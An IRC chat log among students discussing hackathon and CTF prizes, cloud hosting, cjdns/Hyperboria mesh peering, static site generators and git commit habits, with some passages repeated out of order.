[2015-03-11T23:56:55-0400] <jwoglom> Hyper: yeah, judging at hackathons and the whole prize thing is kinda weird
[2015-03-11T23:57:00-0400] <nezorg> assface: wow, you sure can predict my messages well
[2015-03-11T23:57:01-0400] <Hyper> like the first hackathon I went to, the prizes were a $25 chipotle gift card and a box of chocolates
[2015-03-11T23:57:04-0400] <Hyper> for every winner
[2015-03-11T23:57:06-0400] <sdamashek> nezorg: lol, not bad
[2015-03-11T23:57:14-0400] <jwoglom> sdamashek: what if you gave out...vouchers for $150 for each person? :P
[2015-03-11T23:57:18-0400] <sdamashek> also we're going to have T-shirts for the top 25 teams I think
[2015-03-11T23:57:26-0400] <assface> nezorg: like I said, I travel back in time to before the big bang to send messages
[2015-03-11T23:57:28-0400] <grantwu> I remember at HackBCA I didn't even get judged.
[2015-03-11T23:57:29-0400] <sdamashek> so basically you should all do it :P
[2015-03-11T23:57:37-0400] <Hyper> which is kinda cheap, but it's just enough that you feel rewarded, and not so much that it becomes super competetive
[2015-03-11T23:57:42-0400] <nezorg> assface: ah, that's what you mean
[2015-03-11T23:57:49-0400] <sdamashek> jwoglom: the sum of prizes per person can't be >$100
[2015-03-11T23:57:58-0400] <Hyper> also $25 of chipotle is $25 of chipotle :)
[2015-03-11T23:58:00-0400] <sdamashek> that includes monetary value
[2015-03-11T23:58:02-0400] <sdamashek> :>
[2015-03-11T23:58:13-0400] <jwoglom> sdamashek: lol ok
[2015-03-11T23:58:18-0400] <jwoglom> how much did you want it to be?
[2015-03-11T23:58:31-0400] <sdamashek> not sure, but more than that
[2015-03-11T23:58:34-0400] <assface> aight programming/IRC tiem is over, hw time has begun
[2015-03-11T23:58:55-0400] <sdamashek> judging from how sponsors are going, we definitely have the budget for more
[2015-03-11T23:58:58-0400] <sdamashek> but meh
[2015-03-11T23:59:04-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=ZzDB70d9AUU
[2015-03-11T23:59:06-0400] <nezorg> >sponsors
[2015-03-11T23:59:16-0400] <sdamashek> nezorg: what about them :P
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[2015-03-11T23:59:22-0400] <nezorg> ...nvm
[2015-03-11T23:59:32-0400] <Hyper> free food isn't cheap :P
[2015-03-11T23:59:36-0400] • nezorg: grumbles something about "sellouts"
[2015-03-11T23:59:39-0400] <nezorg> :p
[2015-03-11T23:59:49-0400] <Tamini> actually
[2015-03-11T23:59:51-0400] <Tamini> free food is free :P
[2015-03-12T00:00:05-0400] <Hyper> no such thing as a free lunch
[2015-03-12T00:00:08-0400] <sdamashek> nezorg: it's a mutually beneficial relationship :P
[2015-03-12T00:00:18-0400] <jwoglom> the best part about free food is that it's free
[2015-03-12T00:00:26-0400] <sdamashek> also free coffee
[2015-03-12T00:00:27-0400] <Hyper> I can trade platitudes all day, come at me
[2015-03-12T00:00:28-0400] <sdamashek> is free
[2015-03-12T00:00:29-0400] <alokpathy> The food part is secondary :P
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[2015-03-11T23:55:57-0400] <sdamashek> jwoglom: I think they ran out of sponsors because they are horribly organized lol
[2015-03-11T23:56:02-0400] <assface> nexorg: naaah
[2015-03-11T23:56:04-0400] <Hyper> grantwu: prizes in general suck a lot
[2015-03-11T23:56:05-0400] <nezorg> assface: how is your internet so good?
[2015-03-11T23:56:07-0400] <grantwu> No, I don't want to develop using your random API
[2015-03-11T23:56:07-0400] <jwoglom> sdamashek: lol. that makes sense
[2015-03-11T23:56:12-0400] <jwoglom> pilotdc was so badly run...
[2015-03-11T23:56:24-0400] <Hyper> because it turns from "WOW I HAD FUN" to "ugh I didn't get a prize" really quickly
[2015-03-11T23:56:27-0400] <sdamashek> tjctf is gonna have like $100/person for the top 3 winning teams
[2015-03-11T23:56:43-0400] <sdamashek> because FCPS won't allow us to pay out more than that :>
[2015-03-11T23:56:48-0400] <assface> nezorg: this message is 1000000000*3.6^68129 years old, I just time travel back in time to send the messages
[2015-03-11T23:56:49-0400] <nezorg> sdamashek: the plan for croissantf is/was to buy croissants for the winning teams from bakeries near them
[2015-03-11T23:56:55-0400] <jwoglom> Hyper: yeah, judging at hackathons and the whole prize thing is kinda weird
[2015-03-11T23:57:00-0400] <nezorg> assface: wow, you sure can predict my messages well
[2015-03-11T23:57:01-0400] <Hyper> like the first hackathon I went to, the prizes were a $25 chipotle gift card and a box of chocolates
[2015-03-11T23:57:04-0400] <Hyper> for every winner
[2015-03-11T23:57:06-0400] <sdamashek> nezorg: lol, not bad
[2015-03-11T23:57:14-0400] <jwoglom> sdamashek: what if you gave out...vouchers for $150 for each person? :P
[2015-03-11T23:57:18-0400] <sdamashek> also we're going to have T-shirts for the top 25 teams I think
[2015-03-11T23:57:26-0400] <assface> nezorg: like I said, I travel back in time to before the big bang to send messages
[2015-03-11T23:57:28-0400] <grantwu> I remember at HackBCA I didn't even get judged.
[2015-03-11T23:57:29-0400] <sdamashek> so basically you should all do it :P
[2015-03-11T23:57:37-0400] <Hyper> which is kinda cheap, but it's just enough that you feel rewarded, and not so much that it becomes super competetive
[2015-03-11T23:57:42-0400] <nezorg> assface: ah, that's what you mean
[2015-03-11T23:57:49-0400] <sdamashek> jwoglom: the sum of prizes per person can't be >$100
[2015-03-11T23:57:58-0400] <Hyper> also $25 of chipotle is $25 of chipotle :)
[2015-03-11T23:58:00-0400] <sdamashek> that includes monetary value
[2015-03-11T23:58:02-0400] <sdamashek> :>
[2015-03-11T23:58:13-0400] <jwoglom> sdamashek: lol ok
[2015-03-11T23:58:18-0400] <jwoglom> how much did you want it to be?
[2015-03-11T23:58:31-0400] <sdamashek> not sure, but more than that
[2015-03-11T23:58:34-0400] <assface> aight programming/IRC tiem is over, hw time has begun
[2015-03-11T23:58:55-0400] <sdamashek> judging from how sponsors are going, we definitely have the budget for more
[2015-03-11T23:58:58-0400] <sdamashek> but meh
[2015-03-11T23:59:04-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=ZzDB70d9AUU
[2015-03-11T23:59:06-0400] <nezorg> >sponsors
[2015-03-11T23:59:15-0400] <sdamashek> nezorg: what about them :P
[2015-03-11T23:59:22-0400] <nezorg> ...nvm
[2015-03-11T23:59:32-0400] <Hyper> free food isn't cheap :P
[2015-03-11T23:59:36-0400] • nezorg: grumbles something about "sellouts"
[2015-03-11T23:59:39-0400] <nezorg> :p
[2015-03-11T23:59:49-0400] <Tamini> actually
[2015-03-11T23:59:51-0400] <Tamini> free food is free :P
[2015-03-12T00:00:05-0400] <Hyper> no such thing as a free lunch
[2015-03-12T00:00:08-0400] <sdamashek> nezorg: it's a mutually beneficial relationship :P
[2015-03-12T00:00:18-0400] <jwoglom> the best part about free food is that it's free
[2015-03-12T00:00:26-0400] <sdamashek> also free coffee
[2015-03-12T00:00:27-0400] <Hyper> I can trade platitudes all day, come at me
[2015-03-12T00:00:28-0400] <sdamashek> is free
[2015-03-12T00:00:29-0400] <alokpathy> The food part is secondary :P
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[2015-03-12T00:01:32-0400] <sdamashek> azure is going to be giving us free VMs
[2015-03-12T00:01:34-0400] <Hyper> it's kinda annoying that def hacks and hackbca are on the same weekend, because it means the bigger one (hackBCA) will take all the highschoolers :(
[2015-03-12T00:01:37-0400] <sdamashek> I think
[2015-03-12T00:01:50-0400] <LittleBobbyTables> tamini did you watch
[2015-03-12T00:02:50-0400] <+awe> Hyper: why?
[2015-03-12T00:03:01-0400] <+awe> sdamashek: Azure is... weird.
[2015-03-12T00:03:02-0400] <nezorg> sdamashek: we were planning on using aws credit from pico :P
[2015-03-12T00:03:03-0400] <Hyper> awe: because fewer people at def hacks
[2015-03-12T00:03:18-0400] <+awe> sdamashek: When I test my stuff locally on Azure, I have to run an emulator to emulate their architecture. It's so painfully slow.
[2015-03-12T00:03:18-0400] <sdamashek> awe: why? it looks okay
[2015-03-12T00:03:21-0400] <+awe> ^
[2015-03-12T00:03:22-0400] <+awe> That's why.
[2015-03-12T00:03:25-0400] <Hyper> since def hacks is both on it's first iteration and only 12 horus
[2015-03-12T00:03:36-0400] <+awe> Hyper: Ah.
[2015-03-12T00:03:36-0400] <sdamashek> I mean, if I had a choice, I would use aws
[2015-03-12T00:03:44-0400] <sdamashek> but we're getting it for free
[2015-03-12T00:03:46-0400] <Hyper> DO is love, DO is life
[2015-03-12T00:03:49-0400] <+awe> I haven't really gotten into the whole cloud hosting thing.
[2015-03-12T00:03:50-0400] <+awe> I use DO.
[2015-03-12T00:03:56-0400] <sdamashek> I do too
[2015-03-12T00:04:03-0400] <sdamashek> haha, I DO too
[2015-03-12T00:04:11-0400] <+awe> GG.
[2015-03-12T00:04:12-0400] <grantwu> Digital Ocean doesn't wipe images unless you check though
[2015-03-12T00:04:17-0400] <jwoglom> do is nice
[2015-03-12T00:04:19-0400] <+awe> sdamashek: Actually, while you were gone, Pdgn became a lot more official.
[2015-03-12T00:04:34-0400] <grantwu> *unless you check the box though
[2015-03-12T00:04:42-0400] <jwoglom> awe: how exactly does something become more official? :P
[2015-03-12T00:04:44-0400] <jwoglom> what, the website?
[2015-03-12T00:04:45-0400] <+awe> sdamashek: We're on two servers now (one for each coast) and we have a website and community blog!
[2015-03-12T00:04:47-0400] <Hyper> officially
[2015-03-12T00:04:52-0400] <+awe> jwoglom: it's actually a network now. :p
[2015-03-12T00:04:54-0400] <+awe> jwoglom: instead of one server.
[2015-03-12T00:05:01-0400] <jwoglom> awe: oh yeah. that
[2015-03-12T00:05:03-0400] <sdamashek> except there's no more democracy
[2015-03-12T00:05:07-0400] <Hyper> "community blog"
[2015-03-12T00:05:09-0400] <Hyper> lel
[2015-03-12T00:05:10-0400] <+awe> There's no more voting bot.
[2015-03-12T00:05:21-0400] <jwoglom> something something awe benevolent dictator
[2015-03-12T00:05:26-0400] <+awe> @whois awe
[2015-03-12T00:05:26-0400] <+awebot> awe: awe is the Dark Lord of Strong, Static Typing and the Benevolent Dictator for Life of Pdgn.
[2015-03-12T00:05:38-0400] <+awe> Hyper: you should write a post.
[2015-03-12T00:05:45-0400] <+awe> It's just me and hardmath123 right now.
[2015-03-12T00:05:52-0400] <Hyper> awe: I started one on C++ but never got beyond an outline :/
[2015-03-12T00:06:01-0400] <sdamashek> oh hey, hyperboria
[2015-03-12T00:06:01-0400] <Hyper> I need to pick a less ambitious topic to start
[2015-03-12T00:06:09-0400] <sdamashek> I was on that net for like a few weeks
[2015-03-12T00:06:11-0400] <nezorg> anyone up for a game of cah?
[2015-03-12T00:06:25-0400] <nezorg> since i totally don't have work to do
[2015-03-12T00:06:28-0400] <jwoglom> i should homework
[2015-03-12T00:06:30-0400] <Hyper> lol
[2015-03-12T00:06:33-0400] <sdamashek> I have sleep to do
[2015-03-12T00:06:42-0400] <jwoglom> that too
[2015-03-12T00:06:45-0400] <Hyper> nezorg: try earlier :P
[2015-03-12T00:06:50-0400] <jwoglom> i keep putting procrastination before both
[2015-03-12T00:06:53-0400] <nezorg> you darn edt'ers
[2015-03-12T00:07:05-0400] <jwoglom> edt is best dt
[2015-03-12T00:07:31-0400] <sdamashek> no it's not
[2015-03-12T00:07:33-0400] <sdamashek> :<
[2015-03-12T00:07:44-0400] <Hyper> awe is a strong, static type system who don't need no duck typing
[2015-03-12T00:07:52-0400] <+awe> truu
[2015-03-12T00:08:08-0400] <Hyper> guuurl
[2015-03-12T00:08:12-0400] <grantwu> awe is a strong, unmoving boi who don't need no duck.
[2015-03-12T00:08:41-0400] <+awe> sdamashek: Hype is pretty neat. Pharyngeal got me on it.
[2015-03-12T00:09:17-0400] <sdamashek> some friends and I made our own cjdns network with services and stuff, and later joined it with hyperboria
[2015-03-12T00:09:24-0400] <sdamashek> a few months ago
[2015-03-12T00:09:44-0400] <+awe> Pharyngeal: is my only peer in network.
[2015-03-12T00:09:52-0400] <sdamashek> heh
[2015-03-12T00:09:55-0400] <+awe> Otherwise, it'd just be my VPSes and my friend who I invited.
[2015-03-12T00:09:57-0400] <sdamashek> we had a few peers, it was cool
[2015-03-12T00:10:05-0400] <sdamashek> but it kinda died
[2015-03-12T00:10:29-0400] <Pharyngeal> sdamashek: Wanna peer?
[2015-03-12T00:10:30-0400] <+awe> If you want to get on again, you can peer with me and Pharyngeal.
[2015-03-12T00:10:40-0400] <sdamashek> maybe
[2015-03-12T00:10:56-0400] <Pharyngeal> Three fast connections in the NY Metro area, and then a fourth in Philadelphia
[2015-03-12T00:11:26-0400] <+awe> I have two in NY and one in SF.
[2015-03-12T00:12:26-0400] <Pharyngeal> awe: Which of my machines are you peered with
[2015-03-12T00:12:37-0400] <+awe> It was the DO NYC one?
[2015-03-12T00:12:54-0400] <Pharyngeal> awe: Is it more than one?
[2015-03-12T00:12:58-0400] <+awe> I dunno.
[2015-03-12T00:13:43-0400] <+awe> Nope, just that one.
[2015-03-12T00:14:13-0400] <+awe> Which actually begs the question: how am I still on Hype?
[2015-03-12T00:14:16-0400] <+awe> Didn't you get rid of that box?
[2015-03-12T00:14:17-0400] <Pharyngeal> awe: What's it's IP...
[2015-03-12T00:14:30-0400] <+awe> 10.132.252.6
[2015-03-12T00:14:38-0400] <Pharyngeal> awe: No, what's the IPv5
[2015-03-12T00:14:40-0400] <Pharyngeal> v6*
[2015-03-12T00:15:13-0400] <+awe> What's the best way to tell that?
[2015-03-12T00:15:21-0400] <Pharyngeal> awe: ifconfig? ip addr?
[2015-03-12T00:15:27-0400] <+awe> Oh, of my box?
[2015-03-12T00:15:31-0400] <Pharyngeal> lol yes
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[2015-03-12T00:16:13-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-12T00:05:38-0400] <+awe> Hyper: you should write a post.
[2015-03-12T00:05:45-0400] <+awe> It's just me and hardmath123 right now.
[2015-03-12T00:05:52-0400] <Hyper> awe: I started one on C++ but never got beyond an outline :/
[2015-03-12T00:06:01-0400] <sdamashek> oh hey, hyperboria
[2015-03-12T00:06:01-0400] <Hyper> I need to pick a less ambitious topic to start
[2015-03-12T00:06:09-0400] <sdamashek> I was on that net for like a few weeks
[2015-03-12T00:06:11-0400] <nezorg> anyone up for a game of cah?
[2015-03-12T00:06:25-0400] <nezorg> since i totally don't have work to do
[2015-03-12T00:06:28-0400] <jwoglom> i should homework
[2015-03-12T00:06:30-0400] <Hyper> lol
[2015-03-12T00:06:32-0400] <sdamashek> I have sleep to do
[2015-03-12T00:06:42-0400] <jwoglom> that too
[2015-03-12T00:06:45-0400] <Hyper> nezorg: try earlier :P
[2015-03-12T00:06:50-0400] <jwoglom> i keep putting procrastination before both
[2015-03-12T00:06:53-0400] <nezorg> you darn edt'ers
[2015-03-12T00:07:05-0400] <jwoglom> edt is best dt
[2015-03-12T00:07:31-0400] <sdamashek> no it's not
[2015-03-12T00:07:33-0400] <sdamashek> :<
[2015-03-12T00:07:44-0400] <Hyper> awe is a strong, static type system who don't need no duck typing
[2015-03-12T00:07:53-0400] <+awe> truu
[2015-03-12T00:08:08-0400] <Hyper> guuurl
[2015-03-12T00:08:12-0400] <grantwu> awe is a strong, unmoving boi who don't need no duck.
[2015-03-12T00:08:41-0400] <+awe> sdamashek: Hype is pretty neat. Pharyngeal got me on it.
[2015-03-12T00:09:17-0400] <sdamashek> some friends and I made our own cjdns network with services and stuff, and later joined it with hyperboria
[2015-03-12T00:09:24-0400] <sdamashek> a few months ago
[2015-03-12T00:09:44-0400] <+awe> Pharyngeal: is my only peer in network.
[2015-03-12T00:09:52-0400] <sdamashek> heh
[2015-03-12T00:09:55-0400] <+awe> Otherwise, it'd just be my VPSes and my friend who I invited.
[2015-03-12T00:09:57-0400] <sdamashek> we had a few peers, it was cool
[2015-03-12T00:10:05-0400] <sdamashek> but it kinda died
[2015-03-12T00:10:29-0400] <Pharyngeal> sdamashek: Wanna peer?
[2015-03-12T00:10:30-0400] <+awe> If you want to get on again, you can peer with me and Pharyngeal.
[2015-03-12T00:10:40-0400] <sdamashek> maybe
[2015-03-12T00:10:56-0400] <Pharyngeal> Three fast connections in the NY Metro area, and then a fourth in Philadelphia
[2015-03-12T00:11:26-0400] <+awe> I have two in NY and one in SF.
[2015-03-12T00:12:26-0400] <Pharyngeal> awe: Which of my machines are you peered with
[2015-03-12T00:12:37-0400] <+awe> It was the DO NYC one?
[2015-03-12T00:12:54-0400] <Pharyngeal> awe: Is it more than one?
[2015-03-12T00:12:58-0400] <+awe> I dunno.
[2015-03-12T00:13:43-0400] <+awe> Nope, just that one.
[2015-03-12T00:14:13-0400] <+awe> Which actually begs the question: how am I still on Hype?
[2015-03-12T00:14:16-0400] <+awe> Didn't you get rid of that box?
[2015-03-12T00:14:17-0400] <Pharyngeal> awe: What's it's IP...
[2015-03-12T00:14:30-0400] <+awe> 10.132.252.6
[2015-03-12T00:14:38-0400] <Pharyngeal> awe: No, what's the IPv5
[2015-03-12T00:14:40-0400] <Pharyngeal> v6*
[2015-03-12T00:15:13-0400] <+awe> What's the best way to tell that?
[2015-03-12T00:15:21-0400] <Pharyngeal> awe: ifconfig? ip addr?
[2015-03-12T00:15:27-0400] <+awe> Oh, of my box?
[2015-03-12T00:15:31-0400] <Pharyngeal> lol yes
[2015-03-12T00:16:15-0400] Mode is +nt
[2015-03-12T00:16:16-0400] <+awe> fc38:ebca:91ab:b89f:8109:1b:951c:14d7
[2015-03-12T00:16:20-0400] <+awe> For the box I was looking at.
[2015-03-12T00:16:44-0400] <Pharyngeal> awe: You're peered with my Linode too, apparently
[2015-03-12T00:17:10-0400] <+awe> How is that happening?
[2015-03-12T00:17:45-0400] <Pharyngeal> awe: Other direction. 
[2015-03-12T00:17:50-0400] <+awe> Ah, okay.
[2015-03-12T00:17:54-0400] <+awe> Makes sense.
[2015-03-12T00:17:55-0400] <Pharyngeal> You sent me credentials at one point using the external V4
[2015-03-12T00:17:59-0400] <+awe> Yeah.
[2015-03-12T00:18:09-0400] <+awe> We should probably go all-out.
[2015-03-12T00:18:22-0400] <+awe> Maybe get all my boxes linked to all of yourS?
[2015-03-12T00:18:41-0400] <Pharyngeal> Yeah, might be a good idea
[2015-03-12T00:19:06-0400] <Pharyngeal> awe: I'll add a password and send you creds 
[2015-03-12T00:19:12-0400] <+awe> Okay, cool.
[2015-03-12T00:19:17-0400] <+awe> Do you want creds for my other two boxes?
[2015-03-12T00:19:25-0400] <Pharyngeal> awe: Where are they?
[2015-03-12T00:19:32-0400] <+awe> Another in NYC and one in SF.
[2015-03-12T00:19:39-0400] <Pharyngeal> DO?
[2015-03-12T00:19:42-0400] <+awe> Yeah.
[2015-03-12T00:20:16-0400] <Pharyngeal> okay
[2015-03-12T00:20:35-0400] <+awe> So, is that a yes?
[2015-03-12T00:20:52-0400] <Pharyngeal> yes
[2015-03-12T00:21:03-0400] <+awe> Okay, cool.
[2015-03-12T00:21:04-0400] <+awe> Will do.
[2015-03-12T00:24:26-0400] <nezorg> Pharyngeal: IPv5 master race
[2015-03-12T00:24:30-0400] <Pharyngeal> derp
[2015-03-12T00:26:15-0400] <nezorg> huh http://archive.oreilly.com/pub/post/what_ever_happened_to_ipv5.html
[2015-03-12T00:27:12-0400] <+awe> lol
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[2015-03-12T00:34:34-0400] <grantwu> Something is wrong with my IRC client sigh
[2015-03-12T00:34:55-0400] <+awe> grantwu: that's unfortunate.
[2015-03-12T00:35:02-0400] <+awe> grantwu: whatever will we do without our cat
[2015-03-12T00:35:14-0400] <grantwu> Continue as you were, I suppose :/
[2015-03-12T00:35:18-0400] <bob_twinkles> hack something up with echo
[2015-03-12T00:35:20-0400] <grantwu> I don't do anything useful here anyways.
[2015-03-12T00:35:28-0400] <+awe> grantwu: I enjoy your company!
[2015-03-12T00:35:33-0400] <grantwu> meep
[2015-03-12T00:35:48-0400] <grantwu> I just start arguments and complain
[2015-03-12T00:36:01-0400] <grantwu> by the way has anyone worked with Jekyll
[2015-03-12T00:36:37-0400] <Tamini> well
[2015-03-12T00:36:42-0400] <+awe> I disagree.
[2015-03-12T00:36:44-0400] <Tamini> but you make interesting conversation!
[2015-03-12T00:36:48-0400] <+awe> And yeah, jekyll is cool.
[2015-03-12T00:36:54-0400] <grantwu> Look I started an argument
[2015-03-12T00:36:54-0400] <+awe> blog.pdgn.co runs on jekyll.
[2015-03-12T00:36:56-0400] <grantwu> mwahahaha
[2015-03-12T00:37:02-0400] <+awe> As does protoipo.com
[2015-03-12T00:37:16-0400] <+awe> and aaronweiss.us uses hakyll
[2015-03-12T00:37:24-0400] <+awe> and pdgn.co is just a plain static site
[2015-03-12T00:37:27-0400] <grantwu> Tamini I talk to Alice about you which makes you sad hue
[2015-03-12T00:38:07-0400] <Tamini> you're just a mean person
[2015-03-12T00:38:08-0400] <Tamini> :P
[2015-03-12T00:38:12-0400] <Tamini> but that doesnt make us like you less
[2015-03-12T00:38:14-0400] <grantwu> :'(
[2015-03-12T00:38:17-0400] <grantwu> It ought to
[2015-03-12T00:38:20-0400] <+awe> I don't think you're mean.
[2015-03-12T00:38:59-0400] <grantwu> Does Hakyll require knowing Haskell
[2015-03-12T00:39:20-0400] <grantwu> Also, Hakyll vs Jekyll, I have... pretty much complete freedom to choose right now, I have 0 experience with either
[2015-03-12T00:39:32-0400] <Tamini> maybe i like it when people are mean to me ;)
[2015-03-12T00:39:50-0400] <grantwu> o.O
[2015-03-12T00:40:04-0400] <+awe> Hakyll requires the ability to write some domain-specific Haskell.
[2015-03-12T00:40:07-0400] <+awe> It's not too hard.
[2015-03-12T00:41:56-0400] <grantwu> I see... and Hakyll vs Jekyll?
[2015-03-12T00:44:26-0400] <+awe> Well, using Hakyll and building the site myself and then pushing, I have some more configuration options.
[2015-03-12T00:44:30-0400] <+awe> I have more control.
[2015-03-12T00:44:44-0400] <+awe> Using Jekyll for auto-building is cool though and requires very little effort.
[2015-03-12T00:45:10-0400] <grantwu> I see, might go with Jekyll, even though I'm making a site other people are going to maintain it.  I hope
[2015-03-12T00:45:36-0400] <+awe> Yeah, Jekyll is fine.
[2015-03-12T00:45:52-0400] <grantwu> http://www.club.cc.cmu.edu/ <- One of the long-standing tickets in the bugtracker has been to convert this to a static site generator
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[2015-03-12T00:47:27-0400] <grantwu> Dammit I really need a flash drive, left them all at college...
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[2015-03-12T01:02:23-0400] <LittleBobbyTables> ya know
[2015-03-12T01:02:33-0400] <LittleBobbyTables> I'm sad, the only classes I can really take
[2015-03-12T01:02:34-0400] <LittleBobbyTables> are night
[2015-03-12T01:02:48-0400] <LittleBobbyTables> and the only classes available at night are english and math
[2015-03-12T01:03:23-0400] <Tamini> just take only math classes
[2015-03-12T01:03:25-0400] <Tamini> solution
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[2015-03-12T01:07:26-0400] <LittleBobbyTables> I might just do
[2015-03-12T01:07:31-0400] <LittleBobbyTables> english, math, and an online class
[2015-03-12T01:07:42-0400] <LittleBobbyTables> then switch to a different school next quarter
[2015-03-12T01:07:45-0400] <LittleBobbyTables> that has more night classes
[2015-03-12T01:07:50-0400] <LittleBobbyTables> but is 3k more per quarter :/
[2015-03-12T01:08:20-0400] <Tamini> aw D:
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[2015-03-12T01:11:51-0400] <jwoglom> i think verizon f'd something up
[2015-03-12T01:12:02-0400] <jwoglom> or possibly someone higher up
[2015-03-12T01:12:10-0400] <Tamini> ?
[2015-03-12T01:12:31-0400] <nezorg> jwoglom: blame comcast
[2015-03-12T01:12:42-0400] <jwoglom> me + bunch of other fios people in northern va's internet died, it seems like
[2015-03-12T01:13:40-0400] <Tamini> m
[2015-03-12T01:13:46-0400] <Tamini> well
[2015-03-12T01:13:49-0400] <Tamini> just you and fox, right?
[2015-03-12T01:14:11-0400] <Tamini> oh jk half of tjcah disappeared
[2015-03-12T01:14:28-0400] <jwoglom> well, in #tjhsst, ahamilto, s0lder, pfoley..
[2015-03-12T01:15:45-0400] <Tamini> ah
[2015-03-12T01:16:11-0400] <jwoglom> oh nice, apparently i excess flooded while auto-reconnecting..
[2015-03-12T01:16:13-0400] <jwoglom> that's always fun
[2015-03-12T01:17:53-0400] <Tamini> wait, wait
[2015-03-12T01:17:55-0400] <Tamini> that's so weird
[2015-03-12T01:18:01-0400] <Tamini> so ssh is alive but 
[2015-03-12T01:18:04-0400] <Tamini> everything else died?
[2015-03-12T01:18:40-0400] <jwoglom> i didn't notice until after it was over bc i was doing hw but
[2015-03-12T01:18:51-0400] <jwoglom> i think what ahamilto's saying is that he couldn't establish new connections
[2015-03-12T01:18:58-0400] <jwoglom> but already connected sessions worked
[2015-03-12T01:19:05-0400] <Tamini> m
[2015-03-12T01:19:08-0400] <jwoglom> so someone just screwed up routing
[2015-03-12T01:19:14-0400] <Tamini> probably
[2015-03-12T01:19:23-0400] <Tamini> wait, that's weird
[2015-03-12T01:19:29-0400] <Tamini> fox is crashing at different times on freenode/pdgn
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[2015-03-12T01:20:14-0400] <jwoglom> aand again!
[2015-03-12T01:20:33-0400] <jwoglom> or were you replying to that second pingtimeout and i just saw it afterwords
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[2015-03-12T01:25:27-0400] <Tamini> yeah
[2015-03-12T01:25:34-0400] <Tamini> he crashed like 5 minutes later on pdgn
[2015-03-12T01:27:09-0400] <jwoglom> you never know, could just be the unstable fwilnet acting up :P
[2015-03-12T01:27:28-0400] <jwoglom> although i think his network is much more stable now than it had been before
[2015-03-12T01:30:03-0400] <+awe> https://github.com/rust-lang/rust/pull/23197
[2015-03-12T01:30:06-0400] <+awe> This makes me feel so stupid.
[2015-03-12T01:30:26-0400] <+awe> Commit > build failed. Commit > build failed.
[2015-03-12T01:30:28-0400] <+awe> Commit > build failed.
[2015-03-12T01:40:57-0400] <Pharyngeal> I hate awkward git commits
[2015-03-12T01:41:24-0400] <Pharyngeal> I'm going to be working on a project with two other students, and I'm afraid our commit log is going to look dump
[2015-03-12T01:41:36-0400] <Pharyngeal> dumb*
[2015-03-12T01:46:12-0400] <Tamini> lol
[2015-03-12T01:46:20-0400] <Tamini> commit messages always get less intelligible with time!
[2015-03-12T01:50:40-0400] <Pharyngeal> I'm less worried about commit messages
[2015-03-12T01:50:48-0400] <Pharyngeal> More worried about fucked up code.
[2015-03-12T01:50:51-0400] <Tamini> Ah.
[2015-03-12T01:52:16-0400] <grantwu> Please have you seen my repos?
[2015-03-12T01:52:23-0400] <grantwu> "Lol this should fix it"
[2015-03-12T01:52:28-0400] <grantwu> "Actually unfuckup the code"
[2015-03-12T01:52:41-0400] <Tamini> my old project has um
[2015-03-12T01:52:43-0400] <grantwu> "Please let this work"
[2015-03-12T01:52:46-0400] <Tamini> hotfixes up to #30
[2015-03-12T02:02:40-0400] <LittleBobbyTables> My commits are generally like "what the fuck do i need this for nobodys ever going to read this"
[2015-03-12T02:07:04-0400] <nezorg> my commits are actually read by other people! :P
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[2015-03-12T02:28:09-0400] <Pharyngeal> I'm supposed to use Jira for this next project
[2015-03-12T02:28:21-0400] <Pharyngeal> As an aside, the Jira instance doesn't have TLS enabled
[2015-03-12T02:28:21-0400] <Pharyngeal> wtf
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[2015-03-12T06:26:13-0400] <fwilson> ಠ_ಠ
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[2015-03-12T06:26:20-0400] <fwilson> that's better
[2015-03-12T07:31:14-0400] <sdamashek> nice ping timeouts
[2015-03-12T07:32:05-0400] <sdamashek> and yeah I don't connect to irc from my home internet, so my internet might have gone down too
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[2015-03-12T08:29:18-0400] <sdamashek> JESUSHACKER
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[2015-03-12T10:15:45-0400] <JacobEdelman> sdamashek, fwilson: when people initially join I typically interro-interview them
[2015-03-12T10:16:05-0400] <JacobEdelman> so tell me when you're online
[2015-03-12T10:17:56-0400] <apothy> JacobEdelman: sdamashek has been here before :P
[2015-03-12T10:18:06-0400] <JacobEdelman> yeah, but a lot
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[2015-03-12T12:52:40-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-12T01:18:01-0400] <Tamini> so ssh is alive but 
[2015-03-12T01:18:04-0400] <Tamini> everything else died?
[2015-03-12T01:18:40-0400] <jwoglom> i didn't notice until after it was over bc i was doing hw but
[2015-03-12T01:18:51-0400] <jwoglom> i think what ahamilto's saying is that he couldn't establish new connections
[2015-03-12T01:18:58-0400] <jwoglom> but already connected sessions worked
[2015-03-12T01:19:05-0400] <Tamini> m
[2015-03-12T01:19:08-0400] <jwoglom> so someone just screwed up routing
[2015-03-12T01:19:14-0400] <Tamini> probably
[2015-03-12T01:19:23-0400] <Tamini> wait, that's weird
[2015-03-12T01:19:29-0400] <Tamini> fox is crashing at different times on freenode/pdgn
[2015-03-12T01:20:14-0400] <jwoglom> aand again!
[2015-03-12T01:20:33-0400] <jwoglom> or were you replying to that second pingtimeout and i just saw it afterwords
[2015-03-12T01:25:27-0400] <Tamini> yeah
[2015-03-12T01:25:34-0400] <Tamini> he crashed like 5 minutes later on pdgn
[2015-03-12T01:27:09-0400] <jwoglom> you never know, could just be the unstable fwilnet acting up :P
[2015-03-12T01:27:28-0400] <jwoglom> although i think his network is much more stable now than it had been before
[2015-03-12T01:30:03-0400] <+awe> https://github.com/rust-lang/rust/pull/23197
[2015-03-12T01:30:06-0400] <+awe> This makes me feel so stupid.
[2015-03-12T01:30:26-0400] <+awe> Commit > build failed. Commit > build failed.
[2015-03-12T01:30:28-0400] <+awe> Commit > build failed.
[2015-03-12T01:40:56-0400] <Pharyngeal> I hate awkward git commits
[2015-03-12T01:41:24-0400] <Pharyngeal> I'm going to be working on a project with two other students, and I'm afraid our commit log is going to look dump
[2015-03-12T01:41:36-0400] <Pharyngeal> dumb*
[2015-03-12T01:46:12-0400] <Tamini> lol
[2015-03-12T01:46:20-0400] <Tamini> commit messages always get less intelligible with time!
[2015-03-12T01:50:40-0400] <Pharyngeal> I'm less worried about commit messages
[2015-03-12T01:50:48-0400] <Pharyngeal> More worried about fucked up code.
[2015-03-12T01:50:51-0400] <Tamini> Ah.
[2015-03-12T01:52:16-0400] <grantwu> Please have you seen my repos?
[2015-03-12T01:52:22-0400] <grantwu> "Lol this should fix it"
[2015-03-12T01:52:28-0400] <grantwu> "Actually unfuckup the code"
[2015-03-12T01:52:41-0400] <Tamini> my old project has um
